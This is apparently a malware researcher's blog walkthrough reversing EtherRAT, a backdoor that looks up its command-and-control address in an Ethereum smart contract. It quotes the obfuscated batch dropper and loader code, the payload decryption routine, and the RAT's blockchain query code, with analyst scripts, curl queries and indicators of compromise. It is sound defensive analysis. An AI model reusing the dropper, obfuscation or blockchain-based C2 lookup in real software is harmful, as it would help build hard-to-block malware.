August 8, 2026
Reversing EtherRAT: When Malware Uses the Blockchain for C2
A technical walkthrough of deobfuscating JavaScript, dumping EVM bytecode, and resolving blockchain command and control infrastructure.

By CHANDRA KANT BAURI
8 min read
I spent the last few days pulling apart a payload from "The Gentlemen" ransomware campaign. The malware is called EtherRAT, and it does something genuinely interesting. Instead of hardcoding a command and control server in the binary, it asks an Ethereum smart contract where it should connect. This means the operators can rotate their infrastructure on the fly, and defenders cannot just block a static domain.
I wanted to see exactly how this works under the hood. The analysis took me from a basic Windows dropper all the way down to decoding Ethereum ABI responses. Here is how I reversed it.
Sample
| Property | Value |
| ------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| MD5 | `73ce2438d4ed475e03727b7b000d2794` |
| SHA-1 | `3d5ee8429ef00824c0351cba507dfeb92b54f83b` |
| SHA-256 | `d9487fdc097f770e5661f9e5dee130068cb179d33716abff1a21c8cb901f25a6` |
| Vhash | `ba151a36b5229126cd8a0e26f5d18ec0` |
| SSDEEP | `768:Sm/WjwJC1oRRXWxV/jpRJeWMbC9qZN/nq:k1oRRXWnpbob6r` |
| TLSH | `T137D25C46B600A332C5871F324A5BEBD95F799C04DF57210236CBB39D2E76AD026B79D0` |
| File type | Windows Installer (`installer`, `windows`, `msi`) |
| Magic | Composite Document File V2 Document, Little Endian, OS: Windows, Version 10.0, MSI Installer, Code page: 1252, Title: Installation Database, Subject: 1W2NNAMCqZ, Author: BH501whr, Keywords: Installer, Comments: This installer database contains the logic and data required to install 1W2NNAMCqZ., Template: Intel;1033, Create Time/Date: Fri Apr 24 12:44:22 2026, Last Saved Time/Date: Fri Apr 24 12:44:22 2026, Number of Pages: 500, Number of Words: 10, Name of Creating Application: Windows Installer XML Toolset (), Security: 2, Revision Number: `{7E5851C3-37CE-532A-71D1-0C746FA41537}` |
| TrID | Microsoft Windows Installer (86.8%)<br>Windows SDK Setup Transform script (11.6%)<br>Generic OLE2 / Multistream Compound (1.5%) |
| Magika | MSI |
| File size | 28.50 KB (29184 bytes) |
| Varist packer | `msi, msi` || Property | Value |
| ------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| MD5 | `73ce2438d4ed475e03727b7b000d2794` |
| SHA-1 | `3d5ee8429ef00824c0351cba507dfeb92b54f83b` |
| SHA-256 | `d9487fdc097f770e5661f9e5dee130068cb179d33716abff1a21c8cb901f25a6` |
| Vhash | `ba151a36b5229126cd8a0e26f5d18ec0` |
| SSDEEP | `768:Sm/WjwJC1oRRXWxV/jpRJeWMbC9qZN/nq:k1oRRXWnpbob6r` |
| TLSH | `T137D25C46B600A332C5871F324A5BEBD95F799C04DF57210236CBB39D2E76AD026B79D0` |
| File type | Windows Installer (`installer`, `windows`, `msi`) |
| Magic | Composite Document File V2 Document, Little Endian, OS: Windows, Version 10.0, MSI Installer, Code page: 1252, Title: Installation Database, Subject: 1W2NNAMCqZ, Author: BH501whr, Keywords: Installer, Comments: This installer database contains the logic and data required to install 1W2NNAMCqZ., Template: Intel;1033, Create Time/Date: Fri Apr 24 12:44:22 2026, Last Saved Time/Date: Fri Apr 24 12:44:22 2026, Number of Pages: 500, Number of Words: 10, Name of Creating Application: Windows Installer XML Toolset (), Security: 2, Revision Number: `{7E5851C3-37CE-532A-71D1-0C746FA41537}` |
| TrID | Microsoft Windows Installer (86.8%)<br>Windows SDK Setup Transform script (11.6%)<br>Generic OLE2 / Multistream Compound (1.5%) |
| Magika | MSI |
| File size | 28.50 KB (29184 bytes) |
| Varist packer | `msi, msi` |The Initial Dropper
The infection starts the way many do, with a standard MSI file. I unpacked it statically with 7-Zip instead of detonating it in a sandbox. This let me bypass the layered cabinet files and grab the raw artifacts without giving the malware a chance to run.
The extraction left me with three files. The attacker stripped the file extensions to make them look like random data.
I used the file command to figure out what they were. They turned out to be a Windows batch script (EG61CIQnLiDW), a JavaScript loader (r_624k6i0Ucp), and an encrypted data blob (DTHaSxAdkC6s).
kant@APPLEs-MacBook-Pro ~/D/g/1/extracted_payload> file . *
.: directory
DTHaSxAdkC6s: data
EG61CIQnLiDW: DOS batch file, ASCII text
r_624k6i0Ucp: JavaScript source, ASCII text, with very long lines (3644)kant@APPLEs-MacBook-Pro ~/D/g/1/extracted_payload> file . *
.: directory
DTHaSxAdkC6s: data
EG61CIQnLiDW: DOS batch file, ASCII text
r_624k6i0Ucp: JavaScript source, ASCII text, with very long lines (3644)The Batch Bootstrapper EG61CIQnLiDW
The first piece of the puzzle is the batch script. The code uses fragmented variables to hide commands like curl, tar, and conhost.
@echo off
setlocal enabledelayedexpansion
set "aw_=%~dp0"
set "aw_=!aw_:~0,-1!"
set "zqk50=cu"&set "zqk51=rl"
set "sg5u0=tar"
set "a4b80=co"&set "a4b81=nhos"&set "a4b82=t"
set "hfs60=--he"&set "hfs61=adl"&set "hfs62=es"&set "hfs63=s"
set "bzuw0=st"&set "bzuw1=art"
set "lt_x0=no"&set "lt_x1=de"
set "e7c="
where !lt_x0!!lt_x1! >"!aw_!\gNlk1cgh" 2>nul
set /p e7c=<"!aw_!\gNlk1cgh"
del "!aw_!\gNlk1cgh" >nul 2>&1
if defined e7c goto :yiEjv
!zqk50!!zqk51! -sLo "%TEMP%\9gY0LJMyXW.zip" "https://nodejs.org/dist/v18.20.5/node-v18.20.5-win-x64.zip"
!sg5u0! -xf "%TEMP%\9gY0LJMyXW.zip" -C "!aw_!"
del /q "%TEMP%\9gY0LJMyXW.zip" >nul 2>&1
ren "!aw_!\node-v18.20.5-win-x64" gksVMg >nul 2>&1@echo off
setlocal enabledelayedexpansion
set "aw_=%~dp0"
set "aw_=!aw_:~0,-1!"
set "zqk50=cu"&set "zqk51=rl"
set "sg5u0=tar"
set "a4b80=co"&set "a4b81=nhos"&set "a4b82=t"
set "hfs60=--he"&set "hfs61=adl"&set "hfs62=es"&set "hfs63=s"
set "bzuw0=st"&set "bzuw1=art"
set "lt_x0=no"&set "lt_x1=de"
set "e7c="
where !lt_x0!!lt_x1! >"!aw_!\gNlk1cgh" 2>nul
set /p e7c=<"!aw_!\gNlk1cgh"
del "!aw_!\gNlk1cgh" >nul 2>&1
if defined e7c goto :yiEjv
!zqk50!!zqk51! -sLo "%TEMP%\9gY0LJMyXW.zip" "https://nodejs.org/dist/v18.20.5/node-v18.20.5-win-x64.zip"
!sg5u0! -xf "%TEMP%\9gY0LJMyXW.zip" -C "!aw_!"
del /q "%TEMP%\9gY0LJMyXW.zip" >nul 2>&1
ren "!aw_!\node-v18.20.5-win-x64" gksVMg >nul 2>&1The script is a bootstrapper. It checks if Node.js is installed on the machine. If it cannot find it, it quietly downloads a portable version of Node.js v18.20.5 and extracts it into a hidden folder.
During my dynamic detonation attempts in an analysis VM, the script actually failed to extract the Node.js archive because my VM had an outdated tar implementation. Instead of modifying the malware to fix this, I created a quick wrapper script to intercept the tar command and pass it to 7-Zip. I placed this script at C:\Tools\tar\tar.cmd and added it to the system PATH.
@echo off
setlocal
if /I "%~1"=="-xf" if /I "%~3"=="-C" (
if not exist "%~4" mkdir "%~4"
"C:\Program Files\7-Zip\7z.exe" x "%~2" -o"%~4" -y
exit /b %ERRORLEVEL%
)
echo Unsupported tar syntax: %*
exit /b 1@echo off
setlocal
if /I "%~1"=="-xf" if /I "%~3"=="-C" (
if not exist "%~4" mkdir "%~4"
"C:\Program Files\7-Zip\7z.exe" x "%~2" -o"%~4" -y
exit /b %ERRORLEVEL%
)
echo Unsupported tar syntax: %*
exit /b 1With the wrapper in place, the bootstrapper successfully extracted the runtime.
A quick note on how I sourced these artifacts. While I originally pulled the core components statically from the MSI archive, the malware actually renames them during runtime. I captured the final staged files (like the JavaScript loader and the encrypted payload) directly from the temporary directory during dynamic execution in my analysis VM. This allowed me to see exactly how the malware prepares its files right before the final detonation.
For tracking purposes, here are the SHA-256 hashes of those specific staged artifacts:
- Staged Bootstrapper (
MVnVmUYj.cmd):8c2665adf8bfab65463f2a9bd1b7bb0231de3f5c1e6a2e51479e44aaac2e7bf0 - Staged JS Loader (
A7Pnj975bl.cfg):4142d5efd4ea2abab77f2f0a917610e2ff976bf9e19d7ad1e9156eccdc5412db - Staged Encrypted Payload (
v72HYLU3OpRBznc.ini):2d4b4bb18b8445e49eeda571982874403befcecf78266e3d405f6529d98bee46
The JavaScript Loader
Once Node.js is ready, the script uses it to run the JavaScript loader. This loader sets up persistence through a Registry Run key (often named WindowsHost) pointing to AppResolver, and it prepares to decrypt the main payload.
The loader's code was heavily obfuscated. The cryptographic keys were buried inside encoded arrays, specifically an array called $vx and an XOR key array called $kj.
var $vx=[[14,37,223,62],[29,44,194,58...]];
$kj=[126,69,169,85,189,224,36,217,18,220,53,190,127,94,52,31];
function $qz(n){
for(var s=$vx[n],r='',j=0;j<s.length;j++)
r+=String.fromCharCode(
s[j]^$kj[j%$kj.length]^(j&255)
);
return r;
}var $vx=[[14,37,223,62],[29,44,194,58...]];
$kj=[126,69,169,85,189,224,36,217,18,220,53,190,127,94,52,31];
function $qz(n){
for(var s=$vx[n],r='',j=0;j<s.length;j++)
r+=String.fromCharCode(
s[j]^$kj[j%$kj.length]^(j&255)
);
return r;
}The script decodes these strings at runtime using an XOR loop that also factors in the byte position (j&255).
I wrote a Python script to extract and decode these constants offline. This allowed me to grab the keys without having to execute the malware itself.
import re
import ast
src = open("A7Pnj975bl.cfg", "r", encoding="utf-8").read()
m = re.search(
r"var \$vx=(\[.*?\]),\$kj=(\[.*?\]);function \$qz",
src,
re.S
)
if not m:
raise RuntimeError("Could not locate $vx/$kj")
vx = ast.literal_eval(m.group(1))
kj = ast.literal_eval(m.group(2))
def qz(n):
s = vx[n]
return ''.join(
chr(s[j] ^ kj[j % len(kj)] ^ (j & 0xff))
for j in range(len(s))
)
print("Decoded $qz() strings:")
for i in range(len(vx)):
try:
print(f"{i:02d}: {qz(i)!r}")
except Exception as e:
print(f"{i:02d}: ERROR: {e}")import re
import ast
src = open("A7Pnj975bl.cfg", "r", encoding="utf-8").read()
m = re.search(
r"var \$vx=(\[.*?\]),\$kj=(\[.*?\]);function \$qz",
src,
re.S
)
if not m:
raise RuntimeError("Could not locate $vx/$kj")
vx = ast.literal_eval(m.group(1))
kj = ast.literal_eval(m.group(2))
def qz(n):
s = vx[n]
return ''.join(
chr(s[j] ^ kj[j % len(kj)] ^ (j & 0xff))
for j in range(len(s))
)
print("Decoded $qz() strings:")
for i in range(len(vx)):
try:
print(f"{i:02d}: {qz(i)!r}")
except Exception as e:
print(f"{i:02d}: ERROR: {e}")
Decrypting the Payload
With the constants in hand, I reconstructed the decryption routine. The malware uses a custom byte-wise transformation rather than a simple XOR loop. Inside the Javascript loader, the decryption logic looks like this:
function dc() {
var _a = f[$qz(13)](ef),
_b = B[$qz(14)](_a[$qz(15)]),
_c = n[0x0];
for (var _d = 0x0; _d < _a[$qz(15)]; _d++) {
var _e = _a[_d],
_f = _c;
_c = _e;
_e = _e - _f & 0xff;
_e = _e ^ n[_d % n[$qz(15)]] ^ _d >>> 0x8 & 0xff;
_e = si[_e];
_e = _e - k[_d % k[$qz(15)]] & 0xff;
_b[_d] = _e;
}
return _b;
}function dc() {
var _a = f[$qz(13)](ef),
_b = B[$qz(14)](_a[$qz(15)]),
_c = n[0x0];
for (var _d = 0x0; _d < _a[$qz(15)]; _d++) {
var _e = _a[_d],
_f = _c;
_c = _e;
_e = _e - _f & 0xff;
_e = _e ^ n[_d % n[$qz(15)]] ^ _d >>> 0x8 & 0xff;
_e = si[_e];
_e = _e - k[_d % k[$qz(15)]] & 0xff;
_b[_d] = _e;
}
return _b;
}It takes the encrypted byte, subtracts the previous ciphertext byte, applies an XOR operation with a rotating key, runs it through a substitution array, and finally subtracts another key value.
I translated that logic into a Python script and ran the 7,411-byte encrypted blob through my decryptor.
from pathlib import Path
payload = Path("v72HYLU3OpRBznc.ini").read_bytes()
k = bytes.fromhex(
"d0c0d8fad0d1f246dab1ad3e9f4263f6"
"d0d16c547a3187df2c0d492029c4f060"
"169b85fbe1893c5fd12fee82945e5611"
"39b06932a1c15de9233bbc07ca3fc315"
)
n = bytes.fromhex("0f97c08ecb6cf37cfa40915ec716f997")
si = bytes.fromhex(
"b62bce1f71027a0c3ba806c2f0a75cd1"
"ccb9cd03eeb1a2d760c3f94be872921b"
"be1127fb4146306626ac4feb3968842e"
"c6ef94a9c7ed0ff8fc7c896204cae910"
"e75e239d54073f9ea6bd151aa059ddf4"
"9397538b759c2845e2850e764da48336"
"171ef2632fe198b8c1d616773a7ee37b"
"f1b50adb20aa7d553e51430935bf0519"
"9b2a225282403414386ee632b02c1df"
"f5801954e4cb265afa57f570d617812b"
"4b75f86241888cb8064d8252d8e1cc07"
"45df6fa21aec5e5428f8a00da4844f39"
"929abd0dec87981a35bc49a9f47df6c3"
"1bacf333c501370568deadc9196fe6b4"
"a0b875a37696a8cd249d473e0ad08bcd"
"9c9ec6d6f3da190b3d3d5fdbbe4f767f5"
)
out = bytearray(len(payload))
previous = n[0]
for i, current in enumerate(payload):
value = current
previous_cipher = previous
previous = current
value = (value - previous_cipher) & 0xff
value = value ^ n[i % len(n)] ^ ((i >> 8) & 0xff)
value = si[value]
value = (value - k[i % len(k)]) & 0xff
out[i] = value
Path("decrypted_payload.bin").write_bytes(out)from pathlib import Path
payload = Path("v72HYLU3OpRBznc.ini").read_bytes()
k = bytes.fromhex(
"d0c0d8fad0d1f246dab1ad3e9f4263f6"
"d0d16c547a3187df2c0d492029c4f060"
"169b85fbe1893c5fd12fee82945e5611"
"39b06932a1c15de9233bbc07ca3fc315"
)
n = bytes.fromhex("0f97c08ecb6cf37cfa40915ec716f997")
si = bytes.fromhex(
"b62bce1f71027a0c3ba806c2f0a75cd1"
"ccb9cd03eeb1a2d760c3f94be872921b"
"be1127fb4146306626ac4feb3968842e"
"c6ef94a9c7ed0ff8fc7c896204cae910"
"e75e239d54073f9ea6bd151aa059ddf4"
"9397538b759c2845e2850e764da48336"
"171ef2632fe198b8c1d616773a7ee37b"
"f1b50adb20aa7d553e51430935bf0519"
"9b2a225282403414386ee632b02c1df"
"f5801954e4cb265afa57f570d617812b"
"4b75f86241888cb8064d8252d8e1cc07"
"45df6fa21aec5e5428f8a00da4844f39"
"929abd0dec87981a35bc49a9f47df6c3"
"1bacf333c501370568deadc9196fe6b4"
"a0b875a37696a8cd249d473e0ad08bcd"
"9c9ec6d6f3da190b3d3d5fdbbe4f767f5"
)
out = bytearray(len(payload))
previous = n[0]
for i, current in enumerate(payload):
value = current
previous_cipher = previous
previous = current
value = (value - previous_cipher) & 0xff
value = value ^ n[i % len(n)] ^ ((i >> 8) & 0xff)
value = si[value]
value = (value - k[i % len(k)]) & 0xff
out[i] = value
Path("decrypted_payload.bin").write_bytes(out)
I checked the resulting file to make sure it decrypted correctly. The file command confirmed it was ASCII text, and the first few bytes were valid JavaScript.
Analyzing the Decrypted Payload
This decrypted file is the core EtherRAT backdoor. Reading through it, I found standard RAT functionality like HTTP polling. It tries to blend in by requesting random image extensions like .png or .css with fake query parameters.
More importantly, I found the configuration for the blockchain C2 mechanism. It contained a hardcoded Ethereum smart contract address (0xdf0b529043ef7a2bb9111bad26de624a326bacf9), a function selector (0x7d434425), and a specific lookup address (0x5953f27f044779a3afcd2bf56a4b712583dd2e4e).
Here is the exact JavaScript block from the decrypted payload that sets up the blockchain query:
const _bu = async () => {
const _bv = {},
_bw = _bm(_o), // Formats the lookup address
_bx = _r['map'](async _by => {
try {
const _bz = await fetch(_by, {
'method': 'POST',
'headers': {
'Content-Type': 'application/json'
},
'body': JSON['stringify']({
'jsonrpc': '2.0',
'method': 'eth_call',
'params': [{
'to': _n, // Smart contract address
'data': _bw // Payload data
}, 'latest'],
'id': 0x1
}),
'signal': AbortSignal['timeout'](0x2710)
});
// ...const _bu = async () => {
const _bv = {},
_bw = _bm(_o), // Formats the lookup address
_bx = _r['map'](async _by => {
try {
const _bz = await fetch(_by, {
'method': 'POST',
'headers': {
'Content-Type': 'application/json'
},
'body': JSON['stringify']({
'jsonrpc': '2.0',
'method': 'eth_call',
'params': [{
'to': _n, // Smart contract address
'data': _bw // Payload data
}, 'latest'],
'id': 0x1
}),
'signal': AbortSignal['timeout'](0x2710)
});
// ...I wanted to verify this live on the blockchain. First, I tested a public Ethereum Mainnet RPC endpoint using a simple curl command to make sure it was responding.
curl -sS \
-H 'Content-Type: application/json' \
-X POST \
--data '{"jsonrpc":"2.0","method":"eth_chainId","params":[],"id":1}' \
'https://ethereum-rpc.publicnode.com'curl -sS \
-H 'Content-Type: application/json' \
-X POST \
--data '{"jsonrpc":"2.0","method":"eth_chainId","params":[],"id":1}' \
'https://ethereum-rpc.publicnode.com'
Then I queried the contract address using eth_getCode to pull its runtime bytecode directly from the blockchain.
curl -sS \
-H 'Content-Type: application/json' \
-X POST \
--data '{"jsonrpc":"2.0","method":"eth_getCode","params":["0xdf0b529043ef7a2bb9111bad26de624a326bacf9","latest"],"id":1}' \
'https://ethereum-rpc.publicnode.com' > contract_response.jsoncurl -sS \
-H 'Content-Type: application/json' \
-X POST \
--data '{"jsonrpc":"2.0","method":"eth_getCode","params":["0xdf0b529043ef7a2bb9111bad26de624a326bacf9","latest"],"id":1}' \
'https://ethereum-rpc.publicnode.com' > contract_response.json
I wrote one more short Python script to extract the bytecode from the JSON response and save it as a binary file.
import json
with open("contract_response.json", "r") as f:
data = json.load(f)
code = data["result"]
with open("contract.bin", "wb") as f:
f.write(bytes.fromhex(code[2:]))
print("Bytecode size:", (len(code) - 2) // 2, "bytes")
print("Written: contract.bin")import json
with open("contract_response.json", "r") as f:
data = json.load(f)
code = data["result"]
with open("contract.bin", "wb") as f:
f.write(bytes.fromhex(code[2:]))
print("Bytecode size:", (len(code) - 2) // 2, "bytes")
print("Written: contract.bin")
I threw the bytecode into an EVM disassembler. Sure enough, the dispatcher handles the 0x7d434425 selector.
00a4: JUMPDEST
00a5: PUSH1 0x01
...
00b8: PUSH1 0x40
00ba: SWAP1
00bb: KECCAK256
00bc: DUP1
00bd: SLOAD00a4: JUMPDEST
00a5: PUSH1 0x01
...
00b8: PUSH1 0x40
00ba: SWAP1
00bb: KECCAK256
00bc: DUP1
00bd: SLOADThe contract takes the lookup address, hashes it with KECCAK256, and retrieves the C2 string from storage using the SLOAD instruction.
Resolving the C2
Finally, I reproduced the exact eth_call that EtherRAT makes to the blockchain. I sent the contract address, the function selector, and the lookup address.
curl -sS \
-H 'Content-Type: application/json' \
-X POST \
--data '{"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0xdf0b529043ef7a2bb9111bad26de624a326bacf9","data":"0x7d4344250000000000000000000000005953f27f044779a3afcd2bf56a4b712583dd2e4e"},"latest"],"id":1}' \
'https://ethereum-rpc.publicnode.com'curl -sS \
-H 'Content-Type: application/json' \
-X POST \
--data '{"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0xdf0b529043ef7a2bb9111bad26de624a326bacf9","data":"0x7d4344250000000000000000000000005953f27f044779a3afcd2bf56a4b712583dd2e4e"},"latest"],"id":1}' \
'https://ethereum-rpc.publicnode.com'
The contract returned an ABI-encoded response. When I decoded the hex string, it resolved cleanly to a URL: https://ag.com
At the time of my analysis, this was the active endpoint. I cannot say for sure if ag.com was an operational C2 server or just a decoy deployed by the attackers to mess with researchers.
Indicators of Compromise
For those tracking this campaign, here are the key artifacts I recovered during the analysis:
File Hashes
- Original MSI:
d9487fdc097f770e5661f9e5dee130068cb179d33716abff1a21c8cb901f25a6 - JavaScript Loader:
4142d5efd4ea2abab77f2f0a917610e2ff976bf9e19d7ad1e9156eccdc5412db - Encrypted Payload:
2d4b4bb18b8445e49eeda571982874403befcecf78266e3d405f6529d98bee46 - Decrypted EtherRAT:
0ac06c192dbf76ab86515a4cd1b640cbffee0a32166690f90c6b778fe8f7ad01
Ethereum Infrastructure
- Smart Contract:
0xdf0b529043ef7a2bb9111bad26de624a326bacf9 - Lookup Address:
0x5953f27f044779a3afcd2bf56a4b712583dd2e4e - Function Selector:
0x7d434425
What matters most is the mechanism itself. By routing their C2 resolution through a public blockchain, the operators ensure their infrastructure is incredibly resilient. They can change the endpoint at any time just by submitting a new transaction to their contract. Defenders cannot rely on static DNS blocklists to stop this. They have to shift their focus toward behavioral detection, like monitoring for anomalous Node.js processes and unusual queries to public RPC endpoints.
I kept some of the heaviest technical weeds out of this post for readability. If you want to see the full EVM disassembly, the complete script outputs, and all the raw IOCs, I uploaded everything to my GitHub repository:
mare/Malware Analysis/Windows/EtherRAT Ethereum C2 Analysis at main · Lynk4/mare Malware Analysis and Reverse Engineering, Malware Analysis Reports.......... - mare/Malware Analysis/Windows/EtherRAT…